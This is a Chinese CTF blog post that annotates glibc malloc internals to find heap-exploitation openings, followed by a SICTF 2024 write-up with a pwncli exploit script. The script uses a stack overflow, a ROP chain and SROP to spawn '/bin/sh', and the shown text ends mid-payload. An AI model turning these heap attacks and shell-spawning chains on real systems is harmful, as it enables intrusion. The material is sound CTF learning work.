while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
!= victim); \

if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) // 判断是否在fastbin内
{
idx = fastbin_index (nb); // 获得对应idx
mfastbinptr *fb = &fastbin (av, idx); // 获得对应指针
mchunkptr pp;
victim = *fb;

if (victim != NULL) // 开始在这个fastbinY里面摁找
{
if (__glibc_unlikely (misaligned_chunk (victim))) // 会校验内存是否对齐
malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");

if (SINGLE_THREAD_P) // 如果是单线程模式 直接REVEAL_PTR获得原始指针并赋值给fb
*fb = REVEAL_PTR (victim->fd);
else
REMOVE_FB (fb, pp, victim); // 也是一样的道理
if (__glibc_likely (victim != NULL)) // 如果找到了
{
size_t victim_idx = fastbin_index (chunksize (victim)); // 先获得idx
if (__builtin_expect (victim_idx != idx, 0)) // idx是否对的上(也就是相当于校验了size)
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb); // 给DEBUG用的
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb); // 如果同时开启了tcache 获得对应tcache idx
if (tcache && tc_idx < mp_.tcache_bins) // 如果合理
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (__glibc_unlikely (misaligned_chunk (tc_victim)))
malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
if (SINGLE_THREAD_P)
*fb = REVEAL_PTR (tc_victim->fd);
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx); // 将剩下的tcache丢到fastbin里 里面几乎没有校验 如果修改了fastbin fd然后申请到这里 fastbin丢到了tcache 是否实现了漏洞利用
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

对满足要求的fastbin有如下校验:

  • fastbin的内存需要对齐

  • 对fd指向的堆块内存需要对齐

  • 对size进行校验,需要满足这个size就是这个fastbinY里面的

如果有满足的fastbin之后遍历victim之后的堆块,将他们全部丢到tcache里面

这个过程有fd指向的堆块内存对齐校验,这里如果修改了fd为伪造的地址,而且满足这个victim→fd→fd = 0,在将其丢到tcache的同时可能可以导致一个非法利用

对于tcache拿出来同样是没有size校验的,这里是一个可能的漏洞点

尝试从smallbin里面获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
  if (in_smallbin_range (nb)) // 如果在smallbin范围内
{
idx = smallbin_index (nb); // 获得对应idx
bin = bin_at (av, idx); // 获得指针bin

if ((victim = last (bin)) != bin) // 因为是双向链表 所以直接搜索
{
bck = victim->bk; // 它的后一位
if (__glibc_unlikely (bck->fd != victim)) // fd校验
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb); // 设置victim的inuse位
bin->bk = bck; // 取出smallbin对应bin链表的第一位
bck->fd = bin;

if (av != &main_arena) // 如果不是主线程
set_non_main_arena (victim); // 设置为不是主线程的堆块
check_malloced_chunk (av, victim, nb); // for debug
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
/* While bin not empty and tcache not full, copy chunks over. */
tcache_put (tc_victim, tc_idx); // 和fastbin里面同样的思路
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

操作和fastbin类似,寻找到指定size的chunk之后进行校验,随后将多余的丢到tcache里面,然后返回

校验点:

  • victim→bk→fd == victim

这里校验只有一处,随后进行的操作是

1
2
3
4
bck = victim->bk;

bin->bk = bck; // 取出smallbin对应bin链表的第一位
bck->fd = bin;

这里如果能够victim的bk指向我们伪造好的fake_chunk,满足fake_chunk→fd = victim,则是满足要求能够申请出来

随后执行将剩下的丢到tcache里面,这里面一点点校验都没有

直接丢bin→bk进入tcache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
/* While bin not empty and tcache not full, copy chunks over. */
tcache_put (tc_victim, tc_idx); // 和fastbin里面同样的思路
}
}

这里感觉很有操作空间

  1. 纯粹的tcache打法,可以控制victim→bk = fake_chunk,满足下面条件即可在tcache里面任意地址分配

    1
    2
    3
    4
    5
    6
    fake_chunk_A→fd = victim,
    fake_chunk_A→bk = fake_chunk_B,
    fake_chunk_B→fd = CONTROL_ADDR,
    fake_chunk_B→bk = fake_chunk_C,
    fake_chunk_C→fd = fake_chunk_B,
    fake_chunk_C→bk = bin_addr // 双向链表
  2. 类largebin attack打法,利用里面的bck→fd = bin,也就是满足

    1
    2
    3
    fake_chunk_A→fd = victim,
    fake_chunk_A->bk = _IO_list_all_something_else,
    _IO_list_all_something_else->bk = bin_addr //需要满足

利用方法2应该打不了(

都不满足则对fastbin进行malloc_consolidate操作

操作细节如下,也就是向前向后合并

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
static void malloc_consolidate(mstate av)
{
mfastbinptr* fb; /* current fastbin being consolidated */
mfastbinptr* maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */

/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;

atomic_store_relaxed (&av->have_fastchunks, false);

unsorted_bin = unsorted_chunks(av);

/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/
/*将fastbin中的chunk移除并合并,然后放入unsortedbin*/
maxfb = &fastbin (av, NFASTBINS - 1);
fb = &fastbin (av, 0);
do { // 外层循环遍历fastbinY的每一个fast bin
p = atomic_exchange_acq (fb, NULL); // 替换p的值为fp
if (p != 0) { // 如果P == 0 则说明该fastbin为空
do {
{
if (__glibc_unlikely (misaligned_chunk (p))) // 检查是否对齐
malloc_printerr ("malloc_consolidate(): "
"unaligned fastbin chunk detected");

unsigned int idx = fastbin_index (chunksize (p)); // 获得idx
if ((&fastbin (av, idx)) != fb) // 检查fastbin的size是否对的上
malloc_printerr ("malloc_consolidate(): invalid chunk size");
}

check_inuse_chunk(av, p); // for debug
nextp = REVEAL_PTR (p->fd); // 获得相同大小的下一个fastbin

/* Slightly streamlined version of consolidation code in free() */
size = chunksize (p);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);

if (!prev_inuse(p)) { // 向后合并
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize)) // 需要前者的presize和size相同
malloc_printerr ("corrupted size vs. prev_size in fastbins");
unlink_chunk (av, p); // 开始unlink
}

if (nextchunk != av->top) { // 判断下一个如果不是top_chunk
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse) { // 判断是否能向前合并
size += nextsize;
unlink_chunk (av, nextchunk);
} else
clear_inuse_bit_at_offset(nextchunk, 0);

first_unsorted = unsorted_bin->fd; // 这里如果unsortedbin已经被破坏掉fd可控之后
unsorted_bin->fd = p; // 链入
first_unsorted->bk = p; // 这里会影响

if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}

set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
// 否则被top chunk合并
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}

} while ( (p = nextp) != 0);

}
} while (fb++ != maxfb);
}

可以归纳为

  1. 对fastbin检查是否对齐以及size是否对的上

  2. 如果pre_inuse位为0,向后合并(向上),校验pre_size是否等于size

  3. 如果下一个堆块为top_chunk,和top_chunk合并

  4. 否则查看下一个堆块的next_inuse位,这里的next_chunk是根据chunk+size偏移过去的,这里的next_inuse为next_chunk→next_chunk来获得的,如果next_chunk也释放了,那就合并,链入到unsortedbin里面

  5. 然后依次寻找同一个fastbinY里面的fastbin逻辑是找它的fd指针,这里没有对fd进行校验,不过没什么用

尝试在unsortedbin里面找寻堆块

具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) // 取unsorted bin
{
bck = victim->bk;
size = chunksize (victim);
mchunkptr next = chunk_at_offset (victim, size);

/*
1. 检验size大小是否合理
2. 检验下一个chunk的size大小是否合理
3. 检验下一个chunk的presize是否等于当前的size
4. 检验bck->fd和victim->fd
5. 检验下一个chunk的pre_inuse位
*/

if (__glibc_unlikely (size <= CHUNK_HDR_SZ) // 检验
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
// 对unsortedbin里面的chunk进行拆分
if (in_smallbin_range (nb) && // 在small bin范围内
bck == unsorted_chunks (av) && // victim必须是unsortedbin里面唯一的chunk
victim == av->last_remainder && // victim在last_remainder里面
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) // victim要大于申请长度+0x20
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb); // 获得切分后的remainder
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; // remainder加入到unsortedbin里面
av->last_remainder = remainder; // 记录last_remainder
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size)) // 如果在largebin范围内 需要清空fd_nextsize和bk_nextsize
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
// 设置remainder的状态位 以及 victim的状态位
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);

check_malloced_chunk (av, victim, nb); // DEBUG的时候才有用
void *p = chunk2mem (victim); // 获得指向user_data的指针
alloc_perturb (p, bytes); // 如果设置了perturb_type,将chunk的user data初始化为perturb_type ^ 0xff
return p;
}
// 将chunk从unsortedb bin 中移除,如果大小合适,直接返回给用户
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

/* Take now instead of binning if exact fit */

if (size == nb) // 如果大小正合适
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
#if USE_TCACHE
/* Fill cache first, return to user only if cache fills.
We may return one of these chunks later. */
if (tcache_nb // 优先填满cache
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (victim, tc_idx);
return_cached = 1;
continue;
}
else
{
#endif
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
#if USE_TCACHE
}
#endif
}

/* place chunk in bin */
// 大小不合适要将chunk丢到适应的bin 也就是unsortedbin 2 largebin
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd; // 这里是没有校验的 如果能够修改到smallbin的fd 这里就可以控制fwd
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk)) // 如果小于当前chunk的最小size,那就加入它 -> large bin attack
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize; // 这里导致的
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else // 不然就根据fd_nextsize找到不比它大的chunk
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim; // 这里就能attack
bck->fd = victim;

#if USE_TCACHE
/* If we've processed as many chunks as we're allowed while
filling the cache, return one of the cached ones. */
++tcache_unsorted_count;
if (return_cached
&& mp_.tcache_unsorted_limit > 0
&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
{
return tcache_get (tc_idx);
}
#endif

#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}

#if USE_TCACHE
/* If all the small chunks we found ended up cached, return one now. */
if (return_cached) // 这里拿回来
{
return tcache_get (tc_idx);
}
#endif

可以简化为:

  1. 对unsortedbin进行校验,具体校验如下:这里的校验还是比较多的

    1
    2
    3
    4
    5
    1. 检验size大小是否合理
    2. 检验下一个chunk的size大小是否合理
    3. 检验下一个chunk的presize是否等于当前的size
    4. 检验bck->fd和victim->fd
    5. 检验下一个chunk的pre_inuse位
  2. 如果申请大小范围在smallbin里面,而且unsortedbin唯一,而且在last_remainder里面,申请大小也满足要求,那就切割last_remainder

  3. 如果大小刚好满足要求,那就返回给用户

  4. 如果大小不满足要求,那就执行unsortedbin 2 largebin,将unsortedbin丢到largebin里面,largebin attack就是在这里发生。

这里重点关注large bin attack发生:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// 大小不合适要将chunk丢到适应的bin 也就是unsortedbin 2 largebin
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd; // 这里是没有校验的 如果能够修改到smallbin的fd 这里就可以控制fwd
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk)) // 如果小于当前chunk的最小size,那就加入它 -> large bin attack
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize; // largebin attack 这里导致的
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else // 不然就根据fd_nextsize找到不比它大的chunk
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim; // 这里就能attack
bck->fd = victim;

具体看代码细节即可,比较通用固定了

除了large bin attack之外还有需要注意的是在unsortedbin里面找到满足要求的堆块之后,如果大小合适,会将unsortedbin 先丢到tcache里面,不过这里要求victim→fd = unsortedbin(av),所以利用不了,但是可以增加tcache的数量。

尝试在largebin里面找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
if (!in_smallbin_range (nb)) // 如果申请的是Large chunk就搜寻large bin
{
bin = bin_at (av, idx);

/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin // 如果对应的largebin不为空
&& (unsigned long) chunksize_nomask (victim)
>= (unsigned long) (nb)) // 而且大小符合 找到第一个不小于申请大小的largebin chunk
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;

/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin) // 如果大小一样大
&& chunksize_nomask (victim)
== chunksize_nomask (victim->fd))
victim = victim->fd; // 直接改动fd的chunk 而不需要东nextsize指针

remainder_size = size - nb; // 看看剩下多少size
unlink_chunk (av, victim);

/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
}
/* Split */
else // 切割后丢到unsorted bin里
{
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
malloc_printerr ("malloc(): corrupted unsorted chunks");
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

这里需要关注的是申请largebin的时候,如果能够切割largebin,是会切割largebin的。

切割后的largebin会加入到unsortedbin里面,还会链入remainder。

从top_chunk切割

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
    use_top: // 从top_chunk切割
/*
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).

We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhausted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/

victim = av->top;
size = chunksize (victim);

if (__glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): corrupted top size");

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* When we are using atomic ops to free fast chunks we can get
here for all block sizes. */
else if (atomic_load_relaxed (&av->have_fastchunks)) // 如果有fastbin需要整理
{
malloc_consolidate (av);
/* restore original bin index */
if (in_smallbin_range (nb))
idx = smallbin_index (nb);
else
idx = largebin_index (nb);
}

/*
Otherwise, relay to handle system-dependent cases
*/
else // top chunk大小不够需要sysmalloc函数进行分配
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
}
}

这里可以简化为:

  1. 判断top_chunk_size不能太大

  2. 如果够切割,直接切一块给用户

  3. 如果top_chunk不够,而且有fastbin,需要先对fastbin进行整理

  4. 实在不够通过sysmalloc函数进行分配

这里malloc没有考虑top_chunk size不够的情况

当申请不到应该会返回空,此时会发生堆扩展,扩展堆的大小同时更新top_chunk

可能的漏洞点

fastbin2tcache

这里校验比较多,漏洞程度不好评价,需要有一个内存能够完全可控,伪造fake_chunk才能申请,或者找到一块申请的内存满足条件。

这个过程只有size和内存对齐校验,只需要满足fake_chunk→fd = 0即可丢到tcache的条件

smallbin2tcache

漏洞程度为任意地址分配

smallbin丢到tcache没有任何校验

只需要第一个smallbin满足校验,之后第二、第三个smallbin改掉fd即可链入tcache里面

malloc_consolidate

堆块向前向后合并,造成overlap,这个好用

largebin attack

这个通用且固定 好用

通过unsortedbin增加tcache数量

当unsortedbin满足申请要求的时候,会先丢到tcache里面

可能有用

总结

2.35以后主流打法主要是三个

tcache、largebinattack、overlap

主要是在smallbin2tcache里面以及tcache自身UAF导致的tcache打法

而lagebinattack更是个模板

overlap比较灵活,造成堆块overlap之后可操作空间会大大扩大,甚至可以伪造fake_chunk

排名

rank10,总共做出22题

Pwn

TalkBoom

此题题目远程交互的时候会发给你gzip压缩过的elf文件,解压后得到talkboom的源文件,逆向后可以知道,只要输入对应的0x40字符串,就会有一次读入对应大小(0x100,0x30等),这里会产生栈溢出。

Untitled

Untitled

由于远程每次连接下发的elf都不一样,所以首先交互的字符串也都不一样,这里选择爆破它,指定一个固定的地址,然后每次获取这个地址的字符串,总有一次对应0x100的,这个时候就满足我们的payload。

栈溢出的利用手法:

ROPgadget可以发现有许多gadget,但是rdx不可控,但是有一次性的syscall(0x0000000000405335)。

Untitled

需要满足execve(”/bin/sh”, 0, 0),这里先通过这个一次性syscall,调用一次SROP,控制大部分寄存器之后,再通过SROP的rip控制为一次性的syscall地址,最后即可满足sys_execve的条件。

SROP链接:https://liuliuliuzy.github.io/2021-11-01-srop学习/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#!/usr/bin/env python3
# Use pwncli
# Date: 2024-02-18 14:00:08
# Editor: hkbin
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()

context.arch="amd64"
file_path = "/home/hkbin/Desktop/CTF/competition/2024/SICTF/Talkroom/pwn"

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt):
sla(prompt, i)

def add():
cmd('1')
#......

def edit():
cmd('2')
#......

def show():
cmd('3')
#......

def dele():
cmd('4')
#......

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()

CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
pop_rdi = CurrentGadgets.pop_rdi_ret()
pop_rsi = CurrentGadgets.pop_rsi_ret()
pop_rbp = CurrentGadgets.pop_rbp_ret()
pop_rax = 0x0000000000404df3
sh = 0x0000000000448184

syscall_onlyonce = 0x0000000000405335
bss_addr = 0x460200
magic = 0x4055B0
read_again = 0x404E8D
leave_ret = 0x000000000042f8eb

def SROP(rdi, rsp, rip):
signframe = SigreturnFrame()
signframe.rax = constants.SYS_execve
signframe.rdi = rdi
signframe.rsi = 0x0
signframe.rdx = 0x0
signframe.rsp = rsp
signframe.rip = rip
return bytes(signframe)

def get_pwn():
import base64
import gzip
import shutil
ru("This is your Bomb: \n")
bomb = ru("Welcome. Now,you can talk with Sphinx. Good luck.", drop=True)
if not bomb:
log2_ex_highlight("empty error")
sleep(0.05)
with open("./bomb.gz", "wb") as file:
file.write(bomb[2:-2])
with open("./bomb.gz", "r") as file:
data = file.read()
data = base64.b64decode(data)
with open("./bomb.gz", "wb") as file:
file.write(data)
# 要解压的文件和解压后的文件路径
gz_filepath = './bomb.gz'
output_filepath = './bomb'
# 使用gzip打开压缩文件,并使用shutil复制到一个新的文件中
with gzip.open(gz_filepath, 'rb') as f_in:
with open(output_filepath, 'wb') as f_out:
shutil.copyfileobj(f_in, f_out)
print(f'已解压: {gz_filepath}{output_filepath}')

from elftools.elf.elffile import ELFFile

def get_string_from_elf(file_path, offset):
with open(file_path, 'rb') as file:
elf = ELFFile(file)
string_data = ""
# 遍历所有的段(segments)
for segment in elf.iter_segments():
# 检查地址是否在当前segment的范围内
if segment['p_type'] == 'PT_LOAD': # 只有可加载的段才对应内存中的地址
start = segment['p_vaddr']
end = start + segment['p_memsz']

# 如果地址在该段的范围内
if offset >= start and offset < end:
# 计算文件中的偏移
file_offset = offset - start + segment['p_offset']
file.seek(file_offset)
# 读取字符串,直到遇到null字符
while True:
byte = file.read(1)
if byte == b'\x0a':
break
string_data += byte.decode('utf-8', errors='ignore')
return string_data
raise ValueError("Address not found in any segment.")

def pwn(local = False):
if not local:
# get_pwn()
file_path = './bomb'
address = 0x448380
else:
file_path = './pwn' # local
address = 0x448240 # local
# 读取字符串
extracted_string = get_string_from_elf(file_path, address)

if extracted_string is not None:
log2_ex(f'String at address {hex(address)}: {extracted_string}')
else:
log2_ex(f"No string found at address {hex(address)}")

sleep(0.05)
sl(extracted_string)

sleep(0.05)

sa("Hello?Are you okay??", flat([
b'a'*0x30,
0, # rbp
pop_rdi, 0,
pop_rsi, bss_addr,
read_again,
b'b'*0x38,
pop_rbp, bss_addr,
leave_ret
]))

sleep(0.05)

s(flat([
b'/bin/sh\x00',
pop_rax, 15,
syscall_onlyonce,
SROP(bss_addr, bss_addr+0x200, syscall_onlyonce)[:-0x18]
